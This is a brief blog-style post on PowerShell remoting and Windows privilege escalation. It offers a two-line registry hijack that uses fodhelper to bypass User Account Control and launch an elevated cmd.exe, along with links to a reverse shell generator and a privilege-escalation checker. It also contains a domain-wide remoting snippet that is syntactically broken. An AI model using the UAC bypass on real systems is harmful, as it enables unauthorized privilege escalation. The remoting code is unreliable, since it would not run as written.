PowerShell Remoting and Privilege Escalation

PowerShell Remoting – execute script on all Servers in domain

[source]

$s = new-pssession -computername | dsquery computer
invoke-command -session $s {$h = get-hotfix}
invoke-command -session $s {$h | where {$_.installedby -ne “NTAUTHORITY\SYSTEM”

[/source]

UAC bypass in 2 lines:
1.New-Item -Path HKCU:\Software\Classes\ms-settings\shell\open\command -Value cmd.exe -Force

2.New-ItemProperty -Path HKCU:\Software\Classes\ms-settings\shell\open\command -Name DelegateExecute -PropertyType String -Force

Cmd = fodhelper

code by netbiosX (bypass User Access Control (UAC) via fodhelper.exe) ==> https://lnkd.in/eNYByZu
article (published 2017) ==> https://lnkd.in/eB7kxGH

https://lnkd.in/eTTi5nM

https://weibell.github.io/reverse-shell-generator/

https://github.com/itm4n/PrivescCheck

Leave a comment